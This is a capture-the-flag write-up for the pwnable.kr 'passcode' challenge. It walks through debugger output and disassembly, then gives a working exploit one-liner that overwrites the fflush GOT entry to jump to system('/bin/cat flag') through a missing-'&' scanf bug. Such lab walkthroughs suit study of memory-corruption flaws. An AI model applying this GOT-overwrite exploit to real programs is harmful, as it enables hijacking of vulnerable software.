pwnable.kr -> passcode
Table of Contents
This is bit of a simple challenge but the concept here is the very important and might be bit difficult to grasp. Here the code part is interesting as the developer in this case forgets to pass on the reference to the variable which we can weaponize and take control of the program. Without the reference or &
sign the scanf
function treats the variable as a pointer and tries to write information to that address where is “pointing to”. Thus we can overwrite any address in the memory with some other information.
code#
$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
Now lets try to debug this program. As I already have pwndbg installed, I will use some of its commands.
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x080483e0 _init
0x08048420 printf@plt
0x08048430 fflush@plt
0x08048440 __stack_chk_fail@plt
0x08048450 puts@plt
0x08048460 system@plt
0x08048470 __gmon_start__@plt
0x08048480 exit@plt
0x08048490 __libc_start_main@plt
0x080484a0 __isoc99_scanf@plt
0x080484b0 _start
0x080484e0 __do_global_dtors_aux
0x08048540 frame_dummy
0x08048564 login
0x08048609 welcome
0x08048665 main
0x080486a0 __libc_csu_init
0x08048710 __libc_csu_fini
0x08048712 __i686.get_pc_thunk.bx
0x08048720 __do_global_ctors_aux
0x0804874c _fini
From the code and the debugger, we can see that the function names are present in the funcations list. Lets put a break at the login by executing
b login
Again from the source code of the program we can see that we can overflow the name
variable found in the welcome
function.
now lets generate a long string using pwntools
In [2]: from pwn import *
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/x8006/.cache/.pwntools-cache-3.9/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.8.0)
In [3]: g = cyclic_gen()
In [4]: g.get(130)
Out[4]: b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha'
Now let run this code and enter this value into the name variable.
pwndbg> disassemble
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
=> 0x0804858b <+39>: mov eax,ds:0x804a02c
from the disassembly we can see that the location for the passcode1
variable is located at ebp-0x10
location and if we try to take a peek we can see
pwndbg> x/16s $ebp - 0x10
0xfff21b18: "yaaa"
We are now able to write some data on to the stack and overwrite the variable called passcode1
.
If we search for the location, we can see use the following method:
In [6]: g.find('yaaa')
Out[6]: (96, 0, 96)
This means after 96chars, we can overwrite the value for passcode1
Now from the c code we can see that the scanf
function is taking in a passcode1
but the &
is missing. This implies that scanf will not write the value we have entered to that address rather it will access the memory location of passcode1
or ebp - 0x10
location and treat that as an memory location.
So as of now we can overwrite any memory location in this program. One thing here to consider is that accordginly to man scanf
we can see that it will take input until non-white-space chars. so We cannot enter any char which contain somthing which contain space
Some characters which can cause issues are:
0a -> line feed
0d -> carrage return
20 -> spcee
jump to where ?!#
To find the address where we want to perform the jump is the location is at system("/bin/cat flag");
. If we look closely we will see that the nearest location is given below:
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
We can see that on the line 0x080485e3 some address location is involved thus we can take a look into it:
pwndbg> x/s 0x80487af
0x80487af: "/bin/cat flag"
Now we have an idea on what is the jump location we can create out exploit.
exploit phase 1#
In this segment we will overflow the name
variable so that we can overwrite the password1
variable. We have already seen that by using over 96 characters we can overflow and change the password1
variable.
The next question is what to put here ? As we do not have control over the instruction pointer or EIP, we need to locate a victim so that we can use it. In the source code we can see that after taking in the value for passcode1
there is a fflush
function. In the next phase we will locate and change the address where fflush is “pointing” to and replace is with the address we want the EIP to jump to thus hijacking the program and executing out own part of the code.
exploit phase 2#
We can now try to disassemble the fflush
call and check where it is pointing to. Use the following command to see it.
pwndbg> disassemble fflush
Dump of assembler code for function fflush@plt:
0x08048430 <+0>: jmp *0x804a004
0x08048436 <+6>: push $0x8
0x0804843b <+11>: jmp 0x8048410
End of assembler dump.
Here 0x804a004 is the address from where fflush starts to execute from
As we can see that we want to change the address at 0x804a004 from 0x08048436 to 0x080485e3.
code#
We can now use the following code:
python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode